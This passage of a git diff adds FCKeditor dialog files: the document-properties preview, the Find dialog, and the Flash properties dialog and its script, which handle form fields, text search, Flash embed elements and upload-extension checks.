+                                               Include XHTML Declarations</label>
+                               </div>
+                               <div id="divBackground" style="display: none">
+                                       <span fcklang="DlgDocBgColor">Background Color</span><br />
+                                       <input id="txtBackColor" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" />&nbsp;<input
+                                               id="btnSelBackColor" onclick="SelectColor( 'Back' )" type="button" value="Select..."
+                                               fcklang="DlgCellBtnSelect" /><br />
+                                       <br />
+                                       <span fcklang="DlgDocBgImage">Background Image URL</span><br />
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td width="100%">
+                                                               <input id="txtBackImage" style="width: 100%" type="text" onchange="UpdatePreview();"
+                                                                       onkeyup="UpdatePreview();" /></td>
+                                                       <td id="tdBrowse" nowrap="nowrap">
+                                                               &nbsp;<input id="btnBrowse" onclick="BrowseServerBack();" type="button" fcklang="DlgBtnBrowseServer"
+                                                                       value="Browse Server" /></td>
+                                               </tr>
+                                       </table>
+                                       <input id="chkBackNoScroll" type="checkbox" onclick="UpdatePreview();" />
+                                       <label for="chkBackNoScroll" fcklang="DlgDocBgNoScroll">
+                                               Nonscrolling Background</label>
+                               </div>
+                               <div id="divColors" style="display: none">
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td>
+                                                               <span fcklang="DlgDocCText">Text</span><br />
+                                                               <input id="txtColorText" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+                                                                       onclick="SelectColor( 'ColorText' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+                                                               <br />
+                                                               <span fcklang="DlgDocCLink">Link</span><br />
+                                                               <input id="txtColorLink" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+                                                                       onclick="SelectColor( 'ColorLink' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+                                                               <br />
+                                                               <span fcklang="DlgDocCVisited">Visited Link</span><br />
+                                                               <input id="txtColorVisited" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+                                                                       onclick="SelectColor( 'ColorVisited' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+                                                               <br />
+                                                               <span fcklang="DlgDocCActive">Active Link</span><br />
+                                                               <input id="txtColorActive" type="text" onchange="UpdatePreview();" onkeyup="UpdatePreview();" /><input
+                                                                       onclick="SelectColor( 'ColorActive' )" type="button" value="Select..." fcklang="DlgCellBtnSelect" />
+                                                       </td>
+                                                       <td valign="middle" align="center">
+                                                               <table cellspacing="2" cellpadding="0" border="0">
+                                                                       <tr>
+                                                                               <td>
+                                                                                       <span fcklang="DlgDocMargins">Page Margins</span></td>
+                                                                       </tr>
+                                                                       <tr>
+                                                                               <td style="border: #000000 1px solid; padding: 5px">
+                                                                                       <table cellpadding="0" cellspacing="0" border="0" dir="ltr">
+                                                                                               <tr>
+                                                                                                       <td align="center" colspan="3">
+                                                                                                               <span fcklang="DlgDocMaTop">Top</span><br />
+                                                                                                               <input id="txtMarginTop" type="text" size="3" />
+                                                                                                       </td>
+                                                                                               </tr>
+                                                                                               <tr>
+                                                                                                       <td align="left">
+                                                                                                               <span fcklang="DlgDocMaLeft">Left</span><br />
+                                                                                                               <input id="txtMarginLeft" type="text" size="3" />
+                                                                                                       </td>
+                                                                                                       <td>
+                                                                                                               &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
+                                                                                                       <td align="right">
+                                                                                                               <span fcklang="DlgDocMaRight">Right</span><br />
+                                                                                                               <input id="txtMarginRight" type="text" size="3" />
+                                                                                                       </td>
+                                                                                               </tr>
+                                                                                               <tr>
+                                                                                                       <td align="center" colspan="3">
+                                                                                                               <span fcklang="DlgDocMaBottom">Bottom</span><br />
+                                                                                                               <input id="txtMarginBottom" type="text" size="3" />
+                                                                                                       </td>
+                                                                                               </tr>
+                                                                                       </table>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </div>
+                               <div id="divMeta" style="display: none">
+                                       <span fcklang="DlgDocMeIndex">Document Indexing Keywords (comma separated)</span><br />
+                                       <textarea id="txtMetaKeywords" style="width: 100%" rows="2" cols="20"></textarea>
+                                       <br />
+                                       <span fcklang="DlgDocMeDescr">Document Description</span><br />
+                                       <textarea id="txtMetaDescription" style="width: 100%" rows="4" cols="20"></textarea>
+                                       <br />
+                                       <span fcklang="DlgDocMeAuthor">Author</span><br />
+                                       <input id="txtMetaAuthor" style="width: 100%" type="text" /><br />
+                                       <br />
+                                       <span fcklang="DlgDocMeCopy">Copyright</span><br />
+                                       <input id="txtMetaCopyright" type="text" style="width: 100%" />
+                               </div>
+                       </td>
+               </tr>
+               <tr id="ePreview" style="display: none">
+                       <td>
+                               <span fcklang="DlgDocPreview">Preview</span><br />
+                               <iframe id="frmPreview" src="fck_docprops/fck_document_preview.html" width="100%"
+                                       height="100"></iframe>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_docprops/fck_document_preview.html b/fckeditor/editor/dialog/fck_docprops/fck_document_preview.html
new file mode 100755 (executable)
index 0000000..86227d0
--- /dev/null
@@ -0,0 +1,117 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_document_preview.html
+ *     Preview shown in the "Document Properties" dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Document Properties - Preview</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta name="robots" content="noindex, nofollow">
+               <script language="javascript">
+
+var eBase = parent.FCK.EditorDocument.getElementsByTagName( 'BASE' ) ;
+if ( eBase.length > 0 && eBase[0].href.length > 0 )
+{
+       document.write( '<base href="' + eBase[0].href + '">' ) ;
+}
+
+window.onload = function()
+{
+       if ( typeof( parent.OnPreviewLoad ) == 'function' )
+               parent.OnPreviewLoad( window, document.body ) ;
+}
+
+function SetBaseHRef( baseHref )
+{
+       var eBase = document.createElement( 'BASE' ) ;
+       eBase.href = baseHref ;
+
+       var eHead = document.getElementsByTagName( 'HEAD' )[0] ;
+       eHead.appendChild( eBase ) ;
+}
+
+function SetLinkColor( color )
+{
+       if ( color && color.length > 0 )
+               document.getElementById('eLink').style.color = color ;
+       else
+               document.getElementById('eLink').style.color = window.document.linkColor ;
+}
+
+function SetVisitedColor( color )
+{
+       if ( color && color.length > 0 )
+               document.getElementById('eVisited').style.color = color ;
+       else
+               document.getElementById('eVisited').style.color = window.document.vlinkColor ;
+}
+
+function SetActiveColor( color )
+{
+       if ( color && color.length > 0 )
+               document.getElementById('eActive').style.color = color ;
+       else
+               document.getElementById('eActive').style.color = window.document.alinkColor ;
+}
+               </script>
+       </head>
+       <body>
+               <table width="100%" height="100%" cellpadding="0" cellspacing="0" border="0">
+                       <tr>
+                               <td align="center" valign="middle">
+                                       Normal Text
+                               </td>
+                               <td id="eLink" align="center" valign="middle">
+                                       <u>Link Text</u>
+                               </td>
+                       </tr>
+                       <tr>
+                               <td id="eVisited" valign="middle" align="center">
+                                       <u>Visited Link</u>
+                               </td>
+                               <td id="eActive" valign="middle" align="center">
+                                       <u>Active Link</u>
+                               </td>
+                       </tr>
+               </table>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+               <br>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_find.html b/fckeditor/editor/dialog/fck_find.html
new file mode 100755 (executable)
index 0000000..009fc56
--- /dev/null
@@ -0,0 +1,177 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_find.html
+ *     "Find" dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+       // Whole word is available on IE only.
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               document.getElementById('divWord').style.display = '' ;
+
+       // First of all, translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+       window.parent.SetAutoSize( true ) ;
+}
+
+function btnStat(frm)
+{
+       document.getElementById('btnFind').disabled =
+               ( document.getElementById('txtFind').value.length == 0 ) ;
+}
+
+function ReplaceTextNodes( parentNode, regex, replaceValue, replaceAll )
+{
+       for ( var i = 0 ; i < parentNode.childNodes.length ; i++ )
+       {
+               var oNode = parentNode.childNodes[i] ;
+               if ( oNode.nodeType == 3 )
+               {
+                       var sReplaced = oNode.nodeValue.replace( regex, replaceValue ) ;
+                       if ( oNode.nodeValue != sReplaced )
+                       {
+                               oNode.nodeValue = sReplaced ;
+                               if ( ! replaceAll )
+                                       return true ;
+                       }
+               }
+               else
+               {
+                       if ( ReplaceTextNodes( oNode, regex, replaceValue ) )
+                               return true ;
+               }
+       }
+       return false ;
+}
+
+function GetRegexExpr()
+{
+       var sExpr ;
+
+       if ( document.getElementById('chkWord').checked )
+               sExpr = '\\b' + document.getElementById('txtFind').value + '\\b' ;
+       else
+               sExpr = document.getElementById('txtFind').value ;
+
+       return sExpr ;
+}
+
+function GetCase()
+{
+       return ( document.getElementById('chkCase').checked ? '' : 'i' ) ;
+}
+
+function Ok()
+{
+       if ( document.getElementById('txtFind').value.length == 0 )
+               return ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               FindIE() ;
+       else
+               FindGecko() ;
+}
+
+var oRange ;
+
+if ( oEditor.FCKBrowserInfo.IsIE )
+       oRange = oEditor.FCK.EditorDocument.body.createTextRange() ;
+
+function FindIE()
+{
+       var iFlags = 0 ;
+
+       if ( chkCase.checked )
+               iFlags = iFlags | 4 ;
+
+       if ( chkWord.checked )
+               iFlags = iFlags | 2 ;
+
+       var bFound = oRange.findText( document.getElementById('txtFind').value, 1, iFlags ) ;
+
+       if ( bFound )
+       {
+               oRange.scrollIntoView() ;
+               oRange.select() ;
+               oRange.collapse(false) ;
+               oLastRangeFound = oRange ;
+       }
+       else
+       {
+               oRange = oEditor.FCK.EditorDocument.body.createTextRange() ;
+               alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+       }
+}
+
+function FindGecko()
+{
+       var bCase = document.getElementById('chkCase').checked ;
+       var bWord = document.getElementById('chkWord').checked ;
+
+       // window.find( searchString, caseSensitive, backwards, wrapAround, wholeWord, searchInFrames, showDialog ) ;
+       if ( !oEditor.FCK.EditorWindow.find( document.getElementById('txtFind').value, bCase, false, false, bWord, false, false ) )
+               alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+}
+       </script>
+</head>
+<body onload="OnLoad()" style="overflow: hidden">
+       <table cellspacing="3" cellpadding="2" width="100%" border="0">
+               <tr>
+                       <td nowrap="nowrap">
+                               <label for="txtFind" fcklang="DlgReplaceFindLbl">
+                                       Find what:</label>&nbsp;
+                       </td>
+                       <td width="100%">
+                               <input id="txtFind" style="width: 100%" tabindex="1" type="text" />
+                       </td>
+                       <td>
+                               <input id="btnFind" style="padding-right: 5px; padding-left: 5px" onclick="Ok();"
+                                       type="button" value="Find" fcklang="DlgFindFindBtn" />
+                       </td>
+               </tr>
+               <tr>
+                       <td valign="bottom" colspan="3">
+                               &nbsp;<input id="chkCase" tabindex="3" type="checkbox" /><label for="chkCase" fcklang="DlgReplaceCaseChk">Match
+                                       case</label>
+                               <br />
+                               <div id="divWord" style="display: none">
+                                       &nbsp;<input id="chkWord" tabindex="4" type="checkbox" /><label for="chkWord" fcklang="DlgReplaceWordChk">Match
+                                               whole word</label>
+                               </div>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_flash.html b/fckeditor/editor/dialog/fck_flash.html
new file mode 100755 (executable)
index 0000000..863505d
--- /dev/null
@@ -0,0 +1,150 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_flash.html
+ *     Flash Properties dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Flash Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script src="fck_flash/fck_flash.js" type="text/javascript"></script>
+               <link href="common/fck_dialog_common.css" type="text/css" rel="stylesheet">
+       </head>
+       <body scroll="no" style="OVERFLOW: hidden">
+               <div id="divInfo">
+                       <table cellSpacing="1" cellPadding="1" width="100%" border="0">
+                               <tr>
+                                       <td>
+                                               <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                                       <tr>
+                                                               <td width="100%"><span fckLang="DlgImgURL">URL</span>
+                                                               </td>
+                                                               <td id="tdBrowse" style="DISPLAY: none" noWrap rowSpan="2">&nbsp; <input id="btnBrowse" onclick="BrowseServer();" type="button" value="Browse Server" fckLang="DlgBtnBrowseServer">
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td vAlign="top"><input id="txtUrl" onblur="UpdatePreview();" style="WIDTH: 100%" type="text">
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                               <TR>
+                                       <TD>
+                                               <table cellSpacing="0" cellPadding="0" border="0">
+                                                       <TR>
+                                                               <TD nowrap>
+                                                                       <span fckLang="DlgImgWidth">Width</span><br>
+                                                                       <input id="txtWidth" class="FCK__FieldNumeric" type="text" size="3">
+                                                               </TD>
+                                                               <TD>&nbsp;</TD>
+                                                               <TD>
+                                                                       <span fckLang="DlgImgHeight">Height</span><br>
+                                                                       <input id="txtHeight" class="FCK__FieldNumeric" type="text" size="3">
+                                                               </TD>
+                                                       </TR>
+                                               </table>
+                                       </TD>
+                               </TR>
+                               <tr>
+                                       <td vAlign="top">
+                                               <table cellSpacing="0" cellPadding="0" width="100%" border="0">
+                                                       <tr>
+                                                               <td valign="top" width="100%">
+                                                                       <table cellSpacing="0" cellPadding="0" width="100%">
+                                                                               <tr>
+                                                                                       <td><span fckLang="DlgImgPreview">Preview</span></td>
+                                                                               </tr>
+                                                                               <tr>
+                                                                                       <td id="ePreviewCell" valign="top" class="FlashPreviewArea"><iframe src="fck_flash/fck_flash_preview.html" frameborder="0" marginheight="0" marginwidth="0"></iframe></td>
+                                                                               </tr>
+                                                                       </table>
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                       </table>
+               </div>
+               <div id="divUpload" style="DISPLAY: none">
+                       <form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data" action="" onsubmit="return CheckUpload();">
+                               <span fckLang="DlgLnkUpload">Upload</span><br />
+                               <input id="txtUploadFile" style="WIDTH: 100%" type="file" size="40" name="NewFile" /><br />
+                               <br />
+                               <input id="btnUpload" type="submit" value="Send it to the Server" fckLang="DlgLnkBtnUpload" />
+                               <iframe name="UploadWindow" style="DISPLAY: none" src="javascript:void(0)"></iframe> 
+                       </form>
+               </div>
+               <div id="divAdvanced" style="DISPLAY: none">
+                       <TABLE cellSpacing="0" cellPadding="0" border="0">
+                               <TR>
+                                       <TD nowrap>
+                                               <span fckLang="DlgFlashScale">Scale</span><BR>
+                                               <select id="cmbScale">
+                                                       <option value="" selected></option>
+                                                       <option value="showall" fckLang="DlgFlashScaleAll">Show all</option>
+                                                       <option value="noborder" fckLang="DlgFlashScaleNoBorder">No Border</option>
+                                                       <option value="exactfit" fckLang="DlgFlashScaleFit">Exact Fit</option>
+                                               </select></TD>
+                                       <TD>&nbsp;&nbsp;&nbsp; &nbsp;
+                                       </TD>
+                                       <td valign="bottom">
+                                               <table>
+                                                       <tr>
+                                                               <td><input id="chkAutoPlay" type="checkbox" checked></td>
+                                                               <td><label for="chkAutoPlay" nowrap fckLang="DlgFlashChkPlay">Auto Play</label>&nbsp;&nbsp;</td>
+                                                               <td><input id="chkLoop" type="checkbox" checked></td>
+                                                               <td><label for="chkLoop" nowrap fckLang="DlgFlashChkLoop">Loop</label>&nbsp;&nbsp;</td>
+                                                               <td><input id="chkMenu" type="checkbox" checked></td>
+                                                               <td><label for="chkMenu" nowrap fckLang="DlgFlashChkMenu">Enable Flash Menu</label></td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </TR>
+                       </TABLE>
+                       <br>
+                       &nbsp;
+                       <table cellSpacing="0" cellPadding="0" width="100%" align="center" border="0">
+                               <tr>
+                                       <td vAlign="top" width="50%"><span fckLang="DlgGenId">Id</span><br>
+                                               <input id="txtAttId" style="WIDTH: 100%" type="text">
+                                       </td>
+                                       <td>&nbsp;&nbsp;</td>
+                                       <td vAlign="top" nowrap><span fckLang="DlgGenClass">Stylesheet Classes</span><br>
+                                               <input id="txtAttClasses" style="WIDTH: 100%" type="text">
+                                       </td>
+                                       <td>&nbsp;&nbsp;</td>
+                                       <td vAlign="top" nowrap width="50%">&nbsp;<span fckLang="DlgGenTitle">Advisory Title</span><br>
+                                               <input id="txtAttTitle" style="WIDTH: 100%" type="text">
+                                       </td>
+                               </tr>
+                       </table>
+                       <span fckLang="DlgGenStyle">Style</span><br>
+                       <input id="txtAttStyle" style="WIDTH: 100%" type="text">
+               </div>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_flash/fck_flash.js b/fckeditor/editor/dialog/fck_flash/fck_flash.js
new file mode 100755 (executable)
index 0000000..b9b0fd4
--- /dev/null
@@ -0,0 +1,292 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_flash.js
+ *     Scripts related to the Flash dialog window (see fck_flash.html).
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', oEditor.FCKLang.DlgInfoTab ) ;
+
+if ( FCKConfig.FlashUpload )
+       window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload ) ;
+
+if ( !FCKConfig.FlashDlgHideAdvanced )
+       window.parent.AddTab( 'Advanced', oEditor.FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE('divInfo'         , ( tabCode == 'Info' ) ) ;
+       ShowE('divUpload'       , ( tabCode == 'Upload' ) ) ;
+       ShowE('divAdvanced'     , ( tabCode == 'Advanced' ) ) ;
+}
+
+// Get the selected flash embed (if available).
+var oFakeImage = FCK.Selection.GetSelectedElement() ;
+var oEmbed ;
+
+if ( oFakeImage )
+{
+       if ( oFakeImage.tagName == 'IMG' && oFakeImage.getAttribute('_fckflash') )
+               oEmbed = FCK.GetRealElement( oFakeImage ) ;
+       else
+               oFakeImage = null ;
+}
+
+window.onload = function()
+{
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       // Load the selected element information (if any).
+       LoadSelection() ;
+
+       // Show/Hide the "Browse Server" button.
+       GetE('tdBrowse').style.display = FCKConfig.FlashBrowser ? '' : 'none' ;
+
+       // Set the actual uploader URL.
+       if ( FCKConfig.FlashUpload )
+               GetE('frmUpload').action = FCKConfig.FlashUploadURL ;
+
+       window.parent.SetAutoSize( true ) ;
+
+       // Activate the "OK" button.
+       window.parent.SetOkButton( true ) ;
+}
+
+function LoadSelection()
+{
+       if ( ! oEmbed ) return ;
+
+       var sUrl = GetAttribute( oEmbed, 'src', '' ) ;
+
+       GetE('txtUrl').value    = GetAttribute( oEmbed, 'src', '' ) ;
+       GetE('txtWidth').value  = GetAttribute( oEmbed, 'width', '' ) ;
+       GetE('txtHeight').value = GetAttribute( oEmbed, 'height', '' ) ;
+
+       // Get Advances Attributes
+       GetE('txtAttId').value          = oEmbed.id ;
+       GetE('chkAutoPlay').checked     = GetAttribute( oEmbed, 'play', 'true' ) == 'true' ;
+       GetE('chkLoop').checked         = GetAttribute( oEmbed, 'loop', 'true' ) == 'true' ;
+       GetE('chkMenu').checked         = GetAttribute( oEmbed, 'menu', 'true' ) == 'true' ;
+       GetE('cmbScale').value          = GetAttribute( oEmbed, 'scale', '' ).toLowerCase() ;
+       
+       GetE('txtAttTitle').value               = oEmbed.title ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               GetE('txtAttClasses').value = oEmbed.getAttribute('className') || '' ;
+               GetE('txtAttStyle').value = oEmbed.style.cssText ;
+       }
+       else
+       {
+               GetE('txtAttClasses').value = oEmbed.getAttribute('class',2) || '' ;
+               GetE('txtAttStyle').value = oEmbed.getAttribute('style',2) ;
+       }
+
+       UpdatePreview() ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+       if ( GetE('txtUrl').value.length == 0 )
+       {
+               window.parent.SetSelectedTab( 'Info' ) ;
+               GetE('txtUrl').focus() ;
+
+               alert( oEditor.FCKLang.DlgAlertUrl ) ;
+
+               return false ;
+       }
+
+       if ( !oEmbed )
+       {
+               oEmbed          = FCK.EditorDocument.createElement( 'EMBED' ) ;
+               oFakeImage  = null ;
+       }
+       UpdateEmbed( oEmbed ) ;
+       
+       if ( !oFakeImage )
+       {
+               oFakeImage      = oEditor.FCKDocumentProcessor_CreateFakeImage( 'FCK__Flash', oEmbed ) ;
+               oFakeImage.setAttribute( '_fckflash', 'true', 0 ) ;
+               oFakeImage      = FCK.InsertElementAndGetIt( oFakeImage ) ;
+       }
+       else
+               oEditor.FCKUndo.SaveUndoStep() ;
+       
+       oEditor.FCKFlashProcessor.RefreshView( oFakeImage, oEmbed ) ;
+
+       return true ;
+}
+
+function UpdateEmbed( e )
+{
+       SetAttribute( e, 'type'                 , 'application/x-shockwave-flash' ) ;
+       SetAttribute( e, 'pluginspage'  , 'http://www.macromedia.com/go/getflashplayer' ) ;
+
+       e.src = GetE('txtUrl').value ;
+       SetAttribute( e, "width" , GetE('txtWidth').value ) ;
+       SetAttribute( e, "height", GetE('txtHeight').value ) ;
+       
+       // Advances Attributes
+
+       SetAttribute( e, 'id'   , GetE('txtAttId').value ) ;
+       SetAttribute( e, 'scale', GetE('cmbScale').value ) ;
+       
+       SetAttribute( e, 'play', GetE('chkAutoPlay').checked ? 'true' : 'false' ) ;
+       SetAttribute( e, 'loop', GetE('chkLoop').checked ? 'true' : 'false' ) ;
+       SetAttribute( e, 'menu', GetE('chkMenu').checked ? 'true' : 'false' ) ;
+
+       SetAttribute( e, 'title'        , GetE('txtAttTitle').value ) ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               SetAttribute( e, 'className', GetE('txtAttClasses').value ) ;
+               e.style.cssText = GetE('txtAttStyle').value ;
+       }
+       else
+       {
+               SetAttribute( e, 'class', GetE('txtAttClasses').value ) ;
+               SetAttribute( e, 'style', GetE('txtAttStyle').value ) ;
+       }
+}
+
+var ePreview ;
+
+function SetPreviewElement( previewEl )
+{
+       ePreview = previewEl ;
+       
+       if ( GetE('txtUrl').value.length > 0 )
+               UpdatePreview() ;
+}
+
+function UpdatePreview()
+{
+       if ( !ePreview )
+               return ;
+               
+       while ( ePreview.firstChild )
+               ePreview.removeChild( ePreview.firstChild ) ;
+
+       if ( GetE('txtUrl').value.length == 0 )
+               ePreview.innerHTML = '&nbsp;' ;
+       else
+       {
+               var oDoc        = ePreview.ownerDocument || ePreview.document ;
+               var e           = oDoc.createElement( 'EMBED' ) ;
+               
+               e.src           = GetE('txtUrl').value ;
+               e.type          = 'application/x-shockwave-flash' ;
+               e.width         = '100%' ;
+               e.height        = '100%' ;
+               
+               ePreview.appendChild( e ) ;
+       }
+}
+
+// <embed id="ePreview" src="fck_flash/claims.swf" width="100%" height="100%" style="visibility:hidden" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">
+
+function BrowseServer()
+{
+       OpenFileBrowser( FCKConfig.FlashBrowserURL, FCKConfig.FlashBrowserWindowWidth, FCKConfig.FlashBrowserWindowHeight ) ;
+}
+
+function SetUrl( url, width, height )
+{
+       GetE('txtUrl').value = url ;
+       
+       if ( width )
+               GetE('txtWidth').value = width ;
+               
+       if ( height ) 
+               GetE('txtHeight').value = height ;
+
+       UpdatePreview() ;
+
+       window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+       switch ( errorNumber )
+       {
+               case 0 :        // No errors
+                       alert( 'Your file has been successfully uploaded' ) ;
+                       break ;
+               case 1 :        // Custom error
+                       alert( customMsg ) ;
+                       return ;
+               case 101 :      // Custom warning
+                       alert( customMsg ) ;
+                       break ;
+               case 201 :
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file type' ) ;
+                       return ;
+               case 203 :
+                       alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+                       return ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       return ;
+       }
+
+       SetUrl( fileUrl ) ;
+       GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex     = new RegExp( FCKConfig.FlashUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex      = new RegExp( FCKConfig.FlashUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+       var sFile = GetE('txtUploadFile').value ;
+       
+       if ( sFile.length == 0 )
+       {
+               alert( 'Please select a file to upload' ) ;
+               return false ;
+       }
+       
+       if ( ( FCKConfig.FlashUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+               ( FCKConfig.FlashUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+       {
+               OnUploadCompleted( 202 ) ;
+               return false ;
+       }
+       
+       return true ;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_flash/fck_flash_preview.html b/fckeditor/editor/dialog/fck_flash/fck_flash_preview.html
new file mode 100755 (executable)
index 0000000..e9e23f8
--- /dev/null
@@ -0,0 +1,50 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
